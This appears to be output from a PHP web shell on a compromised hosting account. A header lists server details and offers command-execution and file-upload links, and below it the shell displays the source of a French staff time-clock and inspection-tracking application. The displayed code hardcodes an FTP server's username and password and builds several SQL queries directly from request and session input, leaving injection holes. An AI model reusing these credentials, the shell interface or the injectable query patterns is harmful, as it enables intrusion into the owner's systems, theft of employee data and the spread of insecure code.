|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// $a = 2 ;
// $b = 6 ;
// $somme = $a + $b ;
// echo "la somme est ==> $somme <br/>" ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
session_start();
// echo "test" ;
// echo "<pre>" ;
// print_r($_SESSION) ;
// echo "<s/pre>" ;
if($_POST['modifier']== "modifier"){
$idprodm=$_POST['idprodm'] ;
$salarie_id=$_POST['salarie_id'] ;
// echo "==> $salarie_id <br/>" ;
// exit() ;
dbi_query("UPDATE `tmcpro`.`telepointage` SET `matricule` = $salarie_id WHERE `telepointage`.`id_p` = $idprodm ; ") ;
header('Location:testftp.php');
}
function check_null($value)
{
if(empty($value))
{
return 0;
}
else{
return $value;
}
}
$my_connection = ftp_connect("telegestion.appius.fr", 21) or exit('Erreur : connexion au serveur FTP impossible.');
ftp_login($my_connection, "AD_636", "AC4BRT9F");
$liste_fichiers = ftp_nlist($my_connection, '/sortie');
foreach($liste_fichiers as $fichier)
{
// echo $fichier. '<br/>';
$ret = ftp_nb_get($my_connection, "input.txt", $fichier, FTP_BINARY);
while ($ret == FTP_MOREDATA) {
// Faites ce que vous voulez...
// echo ".";
// Continue le téléchargement...
$ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
echo "Il y a eu un problème lors du téléchargement...";
exit(1);
}
ftp_delete($my_connection, $fichier) ;
$file = fopen("input.txt","r");
while(! feof($file))
{
$line = fgets($file);
$row = explode(";", $line);
$agence = check_null($row[0]);
$jour = check_null($row[1]);
$heure = check_null($row[2]);
$telephone = check_null($row[3]);
$matricule = check_null($row[5]);
$action = check_null($row[6]);
if($heure != 0)
{
$jour = dateMCPROint($jour) ;
$query = "INSERT INTO `telepointage`(`agence`, `jour`, `heure`, `telephone`, `matricule`, `action`) VALUES ('$agence', '$jour', '$heure', '$telephone', '$matricule', '$action')";
dbi_query($query) ;
}
}
// echo "<h2 align='center'>All Rows of Files are inserted successfully</h2>";
fclose($file);
}
?><html>
<head>
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a href="login.php?dec=1" class="nav-link">
<i class="nav-icon fas fa-power-off"></i>
</a>
</li><!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php'); ?>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1>Contrôles</h1>
</div>
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
<li class="breadcrumb-item active">contrôles</li>
</ol>
</div>
</div>
</div><!-- /.container-fluid -->
</section>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<script language="Javascript">
function GetIdBureau()
{
var id_statu="";
id_statu = document.client_statu_form.client_statu.value ;
if( id_statu > 0 || id_statu=="INDEFINI" )
window.location = "clients2.php?id_statu="+id_statu;
else
window.location = "clients2.php";
}
</script>
<script language="Javascript">
function GetIdBureauB()
{
var id_etab="";
id_etab = document.client_statu_form.client_etab.value ;
if( id_etab > 0 || id_etab=="INDEFINI" )
window.location = "clients2.php?id_etab="+id_etab;
else
window.location = "clients2.php";
}
</script>
<?php
$_SESSION["id_etab"]= 111 ;
$_SESSION["id_statu"]=2 ;
// echo "==>".$_SESSION["id_etab"]."<br/>" ;
// echo "==>".$_SESSION["id_statu"]."<br/>" ;
if(!empty( $_GET["id_statu"]))
{
$_SESSION["id_statu"] = $_GET["id_statu"];
}
if(!empty( $_GET["id_etab"]))
{
$_SESSION["id_etab"] = $_GET["id_etab"];
}
if($_SESSION["id_etab"]== 111){
$where_etablissement_id="" ;
}
else{
$where_etablissement_id = " AND c.etablissement_id = ".$_SESSION["id_etab"] ;
}
// <!-- 6 ya3ni tous les clients / 4 ya3ni Clients inactifs / 2 Client actifs -->
if($_SESSION["id_statu"]==6)
{
$where_statut = "" ;
}
if($_SESSION["id_statu"]==4)
{
$where_statut = " AND c.client_statut = '0' " ;
}
if($_SESSION["id_statu"]==2)
{
$where_statut = " AND c.client_statut = '1' " ;
}
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// echo "--------- <br/>" ;
// echo "<pre>" ;
// print_r($_SESSION) ;
// echo "</pre>" ;
?>
<section class="content">
<div class="row">
<div class="col-12">
<div class="card card-info">
<div class="card-body">
<form id="client_statu_form" name="client_statu_form" method="POST" action="">
<div class="form-row">
<div class="form-group col-md-6">
<div class="input-group">
<select class="form-control select" style="width: 100%;" id="client_statu" name="client_statu" onchange="GetIdBureau()"; >
<option value="2" <?php if($_SESSION["id_statu"]== 2 ){echo "selected" ;}?>>Clients actifs</option>
<option value="4" <?php if($_SESSION["id_statu"]== 4 ){echo "selected" ;} ?>>Clients inactifs</option>
<option value="6" <?php if($_SESSION["id_statu"]== 6 ){echo "selected" ;} ?> >Tous les clients</option>
</select>
</div>
</div>
<!-- 6 ya3ni tous les clients / 4 ya3ni Clients inactifs / 2 Client actifs -->
<div class="form-group col-md-6">
<div class="input-group">
<?php $qa = dbi_query("SELECT * FROM `etablissement`") ; ?>
<select class="form-control select" style="width: 100%;" id="client_etab" name="client_etab" onchange="GetIdBureauB()"; >
<?php while($etab=dbi_fetch_row($qa)) {?>
<option value="<?php echo $etab['etablissement_id'] ;?> " <?php if($etab['etablissement_id']==$_SESSION["id_etab"]){echo "selected" ;} ?> ><?php echo $etab['etablissement_nom'] ;?></option>
<?php } ?>
<option value="111" <?php if($_SESSION["id_etab"]== 111 ){echo "selected" ;} ?> >Tous les Etablissements</option>
</select>
</div>
</div>
</div>
</form>
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<div id="tab">
<div class="box-body">
<table id="example1" class="table table-bordered table-hover">
<thead>
<tr>
<th>Date</th> <!-- /.Table Client - Champs client_nom -->
<th>Client</th>
<th>Salarié</th> <!-- /.Table Client - Champs client_cp -->
<th>Note</th> <!-- /.Table Client - Champs client_ville -->
<th>Informations</th> <!-- /.Table Client - Champs client_ville -->
<th>Contrôleur</th>
<th>Photo</th>
</tr>
</thead>
<tbody>
<?php $query = dbi_query("SELECT * FROM controle_extranet");
// echo "SELECT * FROM client c, etablissement etab,categorie cat where c.etablissement_id = etab.etablissement_id and c.categorie_id = cat.categorie_id $where_statut $where_etablissement_id ORDER BY c.`client_nom` ASC " ;
while($cl = dbi_fetch_row($query)){
?>
<tr>
<td> <?php echo $cl['date'] ; ?></td>
<td> <?php echo $cl['date'] ; ?></td>
<td> <?php echo $cl['date'] ; ?></td>
<td> <?php echo $cl['controle_note'] ; ?></td>
<td> <?php echo $cl['controle_informations']; ?></td>
<td>
<?php
$req=dbi_query(" SELECT * FROM salarie WHERE salarie_id = ".$cl['salarie_id']) ;
$chant=dbi_fetch_row($req) ;
// print_r($chant) ;
$salarie_nom=$chant['salarie_nom'] ;
// echo
echo $salarie_nom ;
?> </td>
<td>
<a class="btn btn-primary btn-sm" target="_blank" href="<?php echo $cl['controle_photo'];?>"> Voir <i class="fas fa-file">
</i>
</a>
<a class="btn btn-info btn-sm" href="controle_sal.php?id_controle_extranet=<?=$cl['id_controle_extranet']?>&"> Editer
<i class="fas fa-pencil-alt"></i>
</a>
<a class="btn btn-danger btn-sm" href="controle_sal.php?id_controle_extranet=<?=$cl['id_controle_extranet']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer cette ligne ?');">
Supprimer <i class="fas fa-trash">
</i>
</a>
</td>
</tr>
<?php }?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
</div><!-- /.tab -->
</div><!-- /.header_ray -->
</div><!-- /.onglet_dotted -->
</div><!-- /.card-body -->
</div><!-- /.card card-primary card-outline -->
</div> <!-- /.col-12 -->
</div> <!-- /.row -->
</section> <!-- /.section -->
</div>
<?php include('footerr.php'); ?>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxAjoutMatR.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>
